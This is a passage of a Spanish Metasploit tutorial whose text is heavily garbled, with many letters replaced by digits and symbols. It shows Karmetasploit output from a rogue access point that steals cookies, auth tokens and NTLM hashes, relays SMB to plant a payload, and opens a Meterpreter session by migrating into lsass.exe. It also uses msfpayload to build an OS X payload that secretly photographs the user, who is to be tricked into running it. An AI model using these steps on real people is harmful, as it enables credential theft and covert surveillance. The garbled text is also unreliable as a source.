independientemente de lo sitio 2eb que intenta conectarse a. 5sted puede mirar a trav!s de su salida, y
ver que un ran nDmero de diferentes servidores se han iniciado. )e )9S, /,/E, 4&'/, "TT/ a varios
servidores, tenemos una amplia red ahora se lanza a la captura de varios bits de informacin.
'hora vamos a ver qu! pasa cuando un cliente se conecta a la '/ falsos que hemos establecido.
msf au!lary("ttp) >
PZQ 7L= ,'.'.'.,''M,-%( KB7 0% (BLMMD www.msn.com)
PZQ 7L= ,'.'.'.,''M,-%( KB7 0% (BLMMD www.msn.com)
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.msn.comM0' ;32 * Endows B3 /.',
coo#es=MC,=8=&T;<B7=e-eabc()be//.e&/0%acce0.)',a/&d&N
M<B7=3%3'(/%%(7$C.''))0/,$,(D&07$0-%/N m"=M=62N C<C2<?3=3L1<=N +p=+M(0,',[
laM.,.-([loM1)(.',&[cM<=["rM,N 6l4"t;roupBd=,.N 6l4"tBd=$asePa4eN "ps5r=MM/[6M/[
2M/[3M/[7Mblu[EM6N "pcl=E.>[C.[=.[?.[<.C[C.[>.N us"pwea=wcM<=L3'&(&N wp5=-
PZQ 7L= ,'.'.'.,''M,-%) KB7 00 (BLMMD adwords.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-%) KB7 00 (BLMMD adwords.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-0' KB7 0) (BLMMD blo44er.com)
PZQ 7L= ,'.'.'.,''M,-0' KB7 0) (BLMMD blo44er.com)
...snp...
PZQ 7L= ,'.'.'.,''M,-0) KB7 )/ (BLMMD 4mal.com)
PZQ 7L= ,'.'.'.,''M,-0) KB7 )/ (BLMMD 4mal.com)
PZQ 7L= ,'.'.'.,''M,-0) KB7 )/ (BLMMD 4mal.com)
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ ?e@uest A*adsA from ,'.'.'.,''M,-%0
PZQ ?ecordn4 detecton from <ser1D4ent
PZQ 7L= ,'.'.'.,''M,-)- KB7 )( (BLMMD 4mal.4oo4le.com)
PZQ $rowser clams to be M=B3 /.',R runnn4 on Endows -'''
PZQ 7L= ,'.'.'.,''M,-)& KB7 )% (BLMMD 4oo4le.com)
PZQ 3rrorM =SCte&MM=SC3!cepton cannot start a transacton wt"n a
transacton *usr*lb*ruby*,.0*s@lte&*errors.rbM(-Mn
^c"ec#A*usr*lb*ruby*,.0*s@lte&*resultset.rbM.%Mn
^c"ec#A*usr*lb*ruby*,.0*s@lte&*resultset.rbM&)Mn
^commenceA*usr*lb*ruby*,.0*s@lte&
...snp...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ecademy.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > faceboo#.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4at"er.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4mal.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4mal.4oo4le.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=P?36=B7=.%.(0(c/0-f,&be(M<=ecaec,-d%0faa,baM2M=,-.,&&.0/%MCM=,-.,&&.00'M==
sneP?<jJ1+4cKp38N LB7=--=n6;JMj1l%6a2%@+&+wKjen)Im+0?7nIrD1
lPIBb$ocsb&m.e6C>("B,ae-&4"wen>a3;ltD/"YbjD-4#0%m0u)Ya%,0B6ya73b?w'Bp,s20u>>sb;2
JfpDlne,5$0
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4oo4le.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=P?36=B7=.%.(0(c/0-f,&be(M<=ecaec,-d%0faa,baM2M=,-.,&&.0/%MCM=,-.,&&.00'M==
sneP?<jJ1+4cKp38N LB7=--=n6;JMj1l%6a2%@+&+wKjen)Im+0?7nIrD1
lPIBb$ocsb&m.e6C>("B,ae-&4"wen>a3;ltD/"YbjD-4#0%m0u)Ya%,0B6ya73b?w'Bp,s20u>>sb;2
JfpDlne,5$0
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ln#edn.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > l5ejournal.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > monster.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > myspace.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > pla!o.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ry+e.comM0' ;32 *forms."tml Endows B3 /.', coo#es=
PZQ =endn4 M='&1'-' Bnternet 3!plorer 9bject 2ype to ,'.'.'.,''M,-%0...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > slas"dot.or4M0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ ?ece5ed ,'.'.'.,''M,&(' CM>D=>M'' L2>D=>M 9=MEndows -''' -,)/ CMMEndows
-''' /.'
...snp...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.monster.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ ?ece5ed ,'.'.'.,''M,&(- 2D?;32\P'EL&7
CM>D=>M.%a0cfba-,d0.%&f)cc,(%.cedeba'fa(dc,c-a.dd)'.b%-
L2>D=>Mea&0)b&'/cd')/d&-,-./)%,--&-.fc.%'ae0d)-'/bdfc,) 9=MEndows -''' -,)/
CMMEndows -''' /.'
PZQ Dut"entcatn4 to ,'.'.'.,'' as 2D?;32\P'EL&7...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.myspace.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ D<2>3L2BCD237 as 2D?;32P'EL&7...
PZQ Connectn4 to t"e D7MBLc s"are...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.pla!o.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ ?e4eneratn4 t"e payload...
PZQ <ploadn4 payload...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.ry+e.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.slas"dot.or4M0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.twtter.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.!n4.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.ya"oo.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > !n4.comM0' ;32 *forms."tml Endows B3 /.', coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ya"oo.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ Created <!sjordS.e!e...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > +44s.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ Connectn4 to t"e =er5ce Control Mana4er...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > care.comM0' ;32 * Endows B3 /.', coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.4at"er.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.+44s.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=
PZQ 9btann4 a ser5ce mana4er "andle...
PZQ Creatn4 a new ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 9penn4 ser5ce...
PZQ =tartn4 t"e ser5ce...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ ?emo5n4 t"e ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 7eletn4 <!sjordS.e!e...
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(- 2D?;32\P'EL&7
PZQ ?ece5ed ,'.'.'.,''M,&(- CM>D=>M'' L2>D=>M 9=MEndows -''' -,)/ CMMEndows
-''' /.'
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(-
PZQ ?ece5ed ,'.'.'.,''M,&(/ 2D?;32\P'EL&7
CM>D=>M&cd,%'ac.f0'%-),a,b)'da-'bb0eb--0cf/'aaf/&%&0)%d
L2>D=>Mddb-b)bed/(faf//%b,a&/d&(0%fc-c0%('a/b./f,d,f.cd 9=MEndows -''' -,)/
CMMEndows -''' /.'
PZQ Dut"entcatn4 to ,'.'.'.,'' as 2D?;32\P'EL&7...
PZQ D<2>3L2BCD237 as 2D?;32P'EL&7...
PZQ B4norn4 re@uest from ,'.'.'.,''R attac# already n pro4ress.
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(/ 2D?;32\P'EL&7
PZQ =endn4 Dpple Suc#2me %.,.& ?2=P <?B $uffer 95erflow to ,'.'.'.,''M,-%0...
PZQ =endn4 sta4e (-(/' bytes)
PZQ =endn4 P"one Moble=afar Cb2B66 $uffer 95erflow to ,'.'.'.,''M,&(%...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.care-.comM0' ;32 * Endows B3 /.', coo#es=
PZQ =leepn4 before "andln4 sta4e...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.ya"oo.comM0' ;32 * Endows B3 /.', coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ya"oo.comM0' ;32 * Endows B3 /.', coo#es=
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ M4ratn4 to lsass.e!e...
PZQ Current ser5er processM rundll&-.e!e (0.0)
PZQ Lew ser5er processM lsass.e!e (-&-)
PZQ Meterpreter sesson , opened (,'.'.'.,M./',% 1> ,'.'.'.,''M,&(.)
msf au!lary("ttp) > sessons 1l
Dct5e sessons
===============
Bd 7escrpton 2unnel
11 11111111111 111111
, Meterpreter ,'.'.'.,M./',% 1> ,'.'.'.,''M,&(.
Yarmetasploit Attack Analysis
Yarmetasploit An*lisis de ata'ue
(o2Z Esa fue una ran cantidad de salidaZ /or favor tmese el tiempo para leer a trav!s de la salida, y
tratar de entender lo que est sucediendo.
:amos a romper parte de la salida un poco aqu.
PZQ 7L= ,'.'.'.,''M,-0. KB7 )- (BLMMD ecademy.com)
PZQ 7L= ,'.'.'.,''M,-0( KB7 )& (BLMMD faceboo#.com)
PZQ 7L= ,'.'.'.,''M,-0( KB7 )& (BLMMD faceboo#.com)
PZQ 7L= ,'.'.'.,''M,-0% KB7 ). (BLMMD 4at"er.com)
PZQ 7L= ,'.'.'.,''M,-0% KB7 ). (BLMMD 4at"er.com)
'qu podemos ver las bDsquedas de )9S que se estn produciendo. 7a mayora de estos son iniciados
por *armetasploit en un intento de recopilar la informacin del cliente.
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4mal.4oo4le.comM0' ;32 *forms."tml Endows B3 /.',
coo#
es=P?36=B7=.%.(0(c/0-f,&be(M<=ecaec,-d%0faa,baM2M=,-.,&&.0/%MCM=,-.,&&.00'M
==sneP?<jJ1+4cKp38NLB7=--=n6;JMj1l%6a2%@+&+wKjen)Im+0?7nIrD1lPIBb$ocsb&m.e6C>("
B,ae-&4"wen>a3;ltD/"YbjD-4#0%m0u)Ya%,0B6ya73b?w'Bp,s20u>>sb;2JfpDlne,5$0
PZQ >22P ?3S<3=2 ,'.'.'.,'' > 4oo4le.comM0' ;32 *forms."tml Endows B3 /.',
coo#es=P?36=B7=.%.(0(c/0-f,&be(M<=ecaec,-d%0faa,baM2M=,-.,&&.0/%MCM=,-.,&&.00'M
==sneP?<jJ1+4cKp38NLB7=--=n6;JMj1l%6a2%@+&+wKjen)Im+0?7nIrD1lPIBb$ocsb&m.e
6C>("B,ae-&4 "wen>a3;ltD/"YbjD-4#0%m0u)Ya%,0B6ya73b?w'Bp,s20u>>sb;2JfpDlne,5$0
'qu podemos ver *armetasploit la recopilacin de informacin de coo3ies del cliente. Esta
informacin podra ser Dtil para su uso en los ataques en contra del usuario en el futuro.
PZQ ?ece5ed ,'.'.'.,''M,&(- 2D?;32\P'EL&7
CM>D=>M.%a0cfba-,d0.%&f)cc,(%.cedeba'fa(dc,c-a.dd)'.b%-
L2>D=>Mea&0)b&'/cd')/d&-,-./)%,--&-.fc.%'ae0d)-'/bdfc,) 9=MEndows -''' -,)/
CMMEndows -''' /.'
PZQ Dut"entcatn4 to ,'.'.'.,'' as 2D?;32\P'EL&7...
PZQ D<2>3L2BCD237 as 2D?;32\P'EL&7...
PZQ Connectn4 to t"e D7MBLc s"are...
PZQ ?e4eneratn4 t"e payload...
PZQ <ploadn4 payload...
PZQ 9btann4 a ser5ce mana4er "andle...
PZQ Creatn4 a new ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 9penn4 ser5ce...
PZQ =tartn4 t"e ser5ce...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ ?emo5n4 t"e ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 7eletn4 <!sjordS.e!e...
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(- 2D?;32\P'EL&7
PZQ ?ece5ed ,'.'.'.,''M,&(- CM>D=>M'' L2>D=>M 9=MEndows -''' -,)/ CMMEndows
-''' /.'
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(-
PZQ ?ece5ed ,'.'.'.,''M,&(/ 2D?;32\P'EL&7
CM>D=>M&cd,%'ac.f0'%-),a,b)'da-'bb0eb--0cf/'aaf/&%&0)%d
L2>D=>Mddb-b)bed/(faf//%b,a&/d&(0%fc-c0%('a/b./f,d,f.cd 9=MEndows -''' -,)/
CMMEndows -''' /.'
PZQ Dut"entcatn4 to ,'.'.'.,'' as 2D?;32\P'EL&7...
PZQ D<2>3L2BCD237 as 2D?;32\P'EL&7...
PZQ B4norn4 re@uest from ,'.'.'.,''R attac# already n pro4ress.
PZQ =endn4 Dccess 7ened to ,'.'.'.,''M,&(/ 2D?;32\P'EL&7
PZQ =endn4 Dpple Suc#2me %.,.& ?2=P <?B $uffer 95erflow to ,'.'.'.,''M,-%0...
PZQ =endn4 sta4e (-(/' bytes)
PZQ =endn4 P"one Moble=afar Cb2B66 $uffer 95erflow to ,'.'.'.,''M,&(%...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.care-.comM0' ;32 * Endows B3 /.', coo#es=
PZQ =leepn4 before "andln4 sta4e...
PZQ >22P ?3S<3=2 ,'.'.'.,'' > www.ya"oo.comM0' ;32 * Endows B3 /.', coo#es=
PZQ >22P ?3S<3=2 ,'.'.'.,'' > ya"oo.comM0' ;32 * Endows B3 /.', coo#es=
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ M4ratn4 to lsass.e!e...
PZQ Current ser5er processM rundll&-.e!e (0.0)
PZQ Lew ser5er processM lsass.e!e (-&-)
PZQ Meterpreter sesson , opened (,'.'.'.,M./',% 1> ,'.'.'.,''M,&(.)
'qu es donde se pone realmente interesanteZ "emos obtenido los hashes de contrase0as del sistema,
que puede ser utilizado para identificar las contrase0as actuales. Esto es seuido por la creacin de una
sesin de &eterpreter.
'hora tenemos acceso al sistema, le permite ver lo que podemos hacer con !l.
msf au!lary("ttp) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
,.. smss.e!e \=ystem?oot\=ystem&-\smss.e!e
,%- csrss.e!e \WW\CM\EBLL2\system&-\csrss.e!e
,)- wnlo4on.e!e \WW\CM\EBLL2\system&-\wnlo4on.e!e
--' ser5ces.e!e CM\EBLL2\system&-\ser5ces.e!e
-&- lsass.e!e CM\EBLL2\system&-\lsass.e!e
-0. frefo!.e!e CM\Pro4ram 6les\Mo+lla 6refo!\frefo!.e!e
&'' Xoda#Bm4.e!e CM\Pro4ram 6les\Endows
L2\Dccessores\Bma4e8ueXoda#Bm4.e!e
&)( s5c"ost.e!e CM\EBLL2\system&-\s5c"ost.e!e
.,( spools5.e!e CM\EBLL2\system&-\spools5.e!e
./- s5c"ost.e!e CM\EBLL2\=ystem&-\s5c"ost.e!e
.00 re4s5c.e!e CM\EBLL2\system&-\re4s5c.e!e
/,- M=2as#.e!e CM\EBLL2\system&-\M=2as#.e!e
/(0 8Mware=er5ce.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\8Mware=er5ce.e!e
(&- EnM4mt.e!e CM\EBLL2\=ystem&-\E$3M\EnM4mt.e!e
()( 2PDutoConn=5c.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\2PDutoConn=5c.e!e
%(' 3!plorer.e!e CM\EBLL2\3!plorer.e!e
0&- 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
0.0 rundll&-.e!e CM\EBLL2\system&-\rundll&-.e!e
0(' 8Mware<ser.e!e CM\Pro4ram 6les\8Mware\8Mware 2ool\8Mware<ser.e!e
00. ?tECan.e!e CM\Pro4ram 6les\D=<= E61DP =olo\?tECan.e!e
),( 2PDutoConnect.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\2PDutoConnect.e!e
)/- =Card=5r.e!e CM\EBLL2\=ystem&-\=Card=5r.e!e
,,(0 B3KPC9?3.3K3 CM\Pro4ram 6les\Bnternet 3!plorer\B3KPC9?3.3K3
meterpreter > pconf4 *all
8Mware Dccelerated DM7 PCLet Ddapter
>ardware MDCM ''M'cM-)M0/M0,M//
BP Dddress M '.'.'.'
Letmas# M '.'.'.'
?ealte# ?2C0,0% Ereless CDL <=$ LBC
>ardware MDCM ''Mc'McaM,aMe%Md.
BP Dddress M ,'.'.'.,''
Letmas# M -//.-//.-//.'
M= 2CP Coopbac# nterface
>ardware MDCM ''M''M''M''M''M''
BP Dddress M ,-%.'.'.,
Letmas# M -//.'.'.'
meterpreter > pwd
CM\EBLL2\system&-
meterpreter > 4etud
=er5er usernameM L2 D<2>9?B2J\=J=23M
&aravilloso. 'l iual que cualquier otro vector, la sesin &eterperter est funcionando como se
esperaba.
Sin embaro, puede ser mucho lo que sucede en *armetasploit muy rpido y haciendo uso de la salida
a la salida estndar no puede ser utilizable. :eamos otra manera de acceder a la informacin reistrada.
:amos a interactuar con el 3arma.db que se crea en su directorio personal.
/ermite abrirlo con sqlite, y volcar el esquema.
rootGbtM]H s@lte& #arma.db
=SCte 5erson &./.)
3nter :."elp: for nstructons
s@lte> .sc"ema
C?3D23 2D$C3 "osts (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
AcreatedA 2BM3=2DMPR
AaddressA 8D?C>D?(,() <LBS<3R
AcommA 8D?C>D?(-//)R
AnameA 8D?C>D?(-//)R
AstateA 8D?C>D?(-//)R
AdescA 8D?C>D?(,'-.)R
AosInameA 8D?C>D?(-//)R
AosIfla5orA 8D?C>D?(-//)R
AosIspA 8D?C>D?(-//)R
AosIlan4A 8D?C>D?(-//)R
Aarc"A 8D?C>D?(-//)
)N
C?3D23 2D$C3 notes (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
AcreatedA 2BM3=2DMPR
A"ostIdA BL23;3?R
AntypeA 8D?C>D?(/,-)R
AdataA 23K2
)N
C?3D23 2D$C3 refs (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
ArefIdA BL23;3?R
AcreatedA 2BM3=2DMPR
AnameA 8D?C>D?(/,-)
)N
C?3D23 2D$C3 reports (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
Atar4etIdA BL23;3?R
AparentIdA BL23;3?R
AenttyA 8D?C>D?(/')R
AetypeA 8D?C>D?(/')R
A5alueA $C9$R
AnotesA 8D?C>D?R
AsourceA 8D?C>D?R
AcreatedA 2BM3=2DMP
)N
C?3D23 2D$C3 re@uests (
A"ostA 8D?C>D?(-')R
AportA BL23;3?R
AsslA BL23;3?R
Amet"A 8D?C>D?(-')R
Apat"A $C9$R
A"eadersA $C9$R
A@ueryA $C9$R
AbodyA $C9$R
ArespcodeA 8D?C>D?(/)R
Aresp"eadA $C9$R
AresponseA $C9$R
AcreatedA 2BM3=2DMP
)N
C?3D23 2D$C3 ser5ces (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
A"ostIdA BL23;3?R
AcreatedA 2BM3=2DMPR
AportA BL23;3? L92 L<CCR
AprotoA 8D?C>D?(,() L92 L<CCR
AstateA 8D?C>D?(-//)R
AnameA 8D?C>D?(-//)R
AdescA 8D?C>D?(,'-.)
)N
C?3D23 2D$C3 tar4ets (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
A"ostA 8D?C>D?(-')R
AportA BL23;3?R
AsslA BL23;3?R
AselectedA BL23;3?
)N
C?3D23 2D$C3 5ulns (
AdA BL23;3? P?BMD?J X3J L92 L<CCR
Aser5ceIdA BL23;3?R
AcreatedA 2BM3=2DMPR
AnameA 8D?C>D?(,'-.)R
AdataA 23K2
)N
C?3D23 2D$C3 5ulnsIrefs (
ArefIdA BL23;3?R
A5ulnIdA BL23;3?
)N
$on la informacin obtenida en el esquema, vamos a interactuar con los datos que hemos recoido. En
primer luar, haremos una lista de todos los sistemas que reistran la informacin de, a continuacin,
despu!s, volcar toda la informacin que hemos recoido mientras estaban conectados.
s@lte> select Z from "ostsN
,[-'')1'/1') -&M.%M'.[,'.'.'.,''[[[al5e[[Endows[-'''[[[!0(
s@lte> select Z from notes w"ere "ostId = ,N
,[-'')1'/1') -&M.%M'.[,["ttpIcoo#es[en1us.start-.mo+lla.com
IIutma=,0&0/)(.-.,--,0,)%&&.,-.,&&.00(.,-.,&&.00(.,-.,&&.00(.,N
IIutm+=,0&0/)(.-.,-.,&&.00(.,.,.utmccn=(or4anc)[utmcsr=4oo4le[utmctr=frefo![
utmcmd=or4anc
-[-'')1'/1') -&M.%M'.[,["ttpIre@uest[en1us.start-.mo+lla.comM0' ;32 *frefo!
Endows 66 ,.).'.,'
&[-'')1'/1') -&M.%M'/[,["ttpIcoo#es[adwords.4oo4le.com
P?36=B7=ee('-)%d-,c-a(e/M<=ecaec,-d%0faa,baM2M=,-.,),&)0(MCM=,-.,)-(0)'M;M=,M==1
p/n;!=+Io",nssN
LB7=--=Jse&#bm'Po8wyJ!j0;XC(C5lB@SMsruPwSrc??nC9I.Y'C+$?CB<uc5ro=I?ujr!(o51
tK+8XL-XbL.p3bd4-/8u4P<'<YS"2u"0'"LDP55s@-I>D?2Ll;%d4<r$L@N
=B7=7SDDD>DDDD7LMtn;@aEP#3$B!fsMSL+7tIf%Xy#>#PoJC?YnIYen0+leeCyXr0K<mC5b8PYo!sd=$<
d--2bS&p,nc'2coL>5%c3"#!t>l./+Yraam+aj)@?C1K!<)po&.ob3$+;otp"6>oDtC!42"d>SXELSY@
.[-'')1'/1') -&M.%M'/[,["ttpIre@uest[adwords.4oo4le.comM0' ;32 *forms."tml Endows
66 ,.).'.,'
/[-'')1'/1') -&M.%M'/[,["ttpIre@uest[blo44er.comM0' ;32 *forms."tml Endows 66
,.).'.,'
([-'')1'/1') -&M.%M'/[,["ttpIre@uest[care.comM0' ;32 *forms."tml Endows 66
,.).'.,'
%[-'')1'/1') -&M.%M'/[,["ttpIre@uest['.'.'.'M////' ;32 *ads Endows 6refo! &.'.,'
0[-'')1'/1') -&M.%M'([,["ttpIre@uest[careerbulder.comM0' ;32 *forms."tml Endows
66 ,.).'.,'
)[-'')1'/1') -&M.%M'([,["ttpIre@uest[ecademy.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,'[-'')1'/1') -&M.%M'([,["ttpIcoo#es[faceboo#.com datr=,-.,)-//0&1
,-'e&)e00&&)c'edfd%&fab(.-0ed0,&-')('&d&,bd)d,dccccf&N
D$2=MMHb'ad0a0df-)cc%bafdf),e(%c0(d/0/(,st'M,-.-/&'&0.MDH-dd'0(ca-a.(e)e/'fff..e'e
c.0cb0,,st'M,-.-/&'&0.M$N sI5snIfaceboo#pocI,=%-()0,.)/%.'-
,,[-'')1'/1') -&M.%M'([,["ttpIre@uest[faceboo#.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,-[-'')1'/1') -&M.%M'([,["ttpIre@uest[4at"er.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,&[-'')1'/1') -&M.%M'([,["ttpIre@uest[4mal.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,.[-'')1'/1') -&M.%M'([,["ttpIcoo#es[4mal.4oo4le.com
P?36=B7=ee('-)%d-,c-a(e/M<=ecaec,-d%0faa,baM2M=,-.,),&)0(MCM=,-.,)-(0)'M;M=,M==1
p/n;!=+Io",nssN
LB7=--=Jse&#bm'Po8wyJ!j0;XC(C5lB@SMsruPwSrc??nC9I.Y'C+$?CB<uc5ro=I?ujr!(o51
tK+8XL-XbL.p3bd4-/8u4P<'<YS"2u"0'"LDP55s@-I>D?2Ll;%d4<r$L@N
=B7=7SDDD>DDDD7LMtn;@aEP#3$B!fsMSL+7tIf%Xy#>#PoJC?YnIYen0+leeCyXr0K<mC5b8PYo!sd=$<
d--2bS&p,nc'2coL>5%c3"#!t>l./+Yraam+aj)@?C1K!<)po&.ob3$+;otp"6>oDtC!42"d>SXELSY@
,/[-'')1'/1') -&M.%M'%[,["ttpIre@uest[4mal.4oo4le.comM0' ;32 *forms."tml Endows
66 ,.).'.,'
,([-'')1'/1') -&M.%M'%[,["ttpIcoo#es[4oo4le.com
P?36=B7=ee('-)%d-,c-a(e/M<=ecaec,-d%0faa,baM2M=,-.,),&)0(MCM=,-.,)-(0)'M;M=,M==1
p/n;!=+Io",nssN
LB7=--=Jse&#bm'Po8wyJ!j0;XC(C5lB@SMsruPwSrc??nC9I.Y'C+$?CB<uc5ro=I?ujr!(o51
tK+8XL-XbL.p3bd4-/8u4P<'<YS"2u"0'"LDP55s@-I>D?2Ll;%d4<r$L@N
=B7=7SDDD>DDDD7LMtn;@aEP#3$B!fsMSL+7tIf%Xy#>#PoJC?YnIYen0+leeCyXr0K<mC5b8PYo!sd=$<
d--2bS&p,nc'2coL>5%c3"#!t>l./+Yraam+aj)@?C1K!<)po&.ob3$+;otp"6>oDtC!42"d>SXELSY@
,%[-'')1'/1') -&M.%M'%[,["ttpIre@uest[4oo4le.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,0[-'')1'/1') -&M.%M'%[,["ttpIre@uest[ln#edn.comM0' ;32 *forms."tml Endows 66
,.).'.,'
,',[-'')1'/1') -&M/'M'&[,["ttpIcoo#es[safebrowsn4.clents.4oo4le.com
P?36=B7=ee('-)%d-,c-a(e/M<=ecaec,-d%0faa,baM2M=,-.,),&)0(MCM=,-.,)-(0)'M;M=,M==1
p/n;!=+Io",nssN
LB7=--=Jse&#bm'Po8wyJ!j0;XC(C5lB@SMsruPwSrc??nC9I.Y'C+$?CB<uc5ro=I?ujr!(o51
tK+8XL-XbL.p3bd4-/8u4P<'<YS"2u"0'"LDP55s@-I>D?2Ll;%d4<r$L@N
=B7=7SDDD>DDDD7LMtn;@aEP#3$B!fsMSL+7tIf%Xy#>#PoJC?YnIYen0+leeCyXr0K<mC5b8PYo!sd=$<
d--2bS&p,nc'2coL>5%c3"#!t>l./+Yraam+aj)@?C1K!<)po&.ob3$+;otp"6>oDtC!42"d>SXELSY@
,'-[-'')1'/1') -&M/'M'&[,["ttpIre@uest[safebrowsn4.clents.4oo4le.comM0' P9=2
*safebrowsn4*downloads Endows 66 ,.).'.,'
,'0[-'')1'/1,' ''M.&M-)[,["ttpIcoo#es[twtter.com aut"Ito#en=,-.,)&'/&/11
c-a&,fa.(-%,.)c/-,b)(/e'd%bdc&(,%df(ae,f
,')[-'')1'/1,' ''M.&M-)[,["ttpIcoo#es[www.twtter.com aut"Ito#en=,-.,)&'/&/11
c-a&,fa.(-%,.)c/-,b)(/e'd%bdc&(,%df(ae,f
s@lte>
Muy 9til; Piense en el n9mero de maneras en ue esto puede ser utili.ado;
MSF vs OSB
5na de las cosas ms interesantes acerca de la plataforma &ac es el nDmero de cmaras estn
interadas en todos los ordenadores porttiles. Este hecho no ha pasado desapercibido para los
desarrolladores de &etasploit, ya que es un mdulo muy interesante que va a tomar una foto con la
cmara incorporada.
:amos a ver en accin. En primer luar, enerar un e%ecutable autnomo para transferir a un sistema
,S N=
rootGbtM*pentest*e!plots*framewor#&H .*msfpayload os!*!0(*s4"t*bndItcp K >
*tmp*os!t-
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM os!*!0(*s4"t*bndItcp
Cen4t"M ,..
9ptonsM
/or lo tanto, en este escenario que ena0ar al usuario para que e%ecute el e%ecutable que hemos creado,
entonces usamos Cmulti > handlerC para conectar y hacer una foto del usuario.
msf > use mult*"andler
msf e!plot("andler) > set PDJC9D7 os!*!0(*s4"t*bndItcp
PDJC9D7 => os!*!0(*s4"t*bndItcp
msf e!plot("andler) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
Payload optons (os!*!0(*s4"t*bndItcp)M
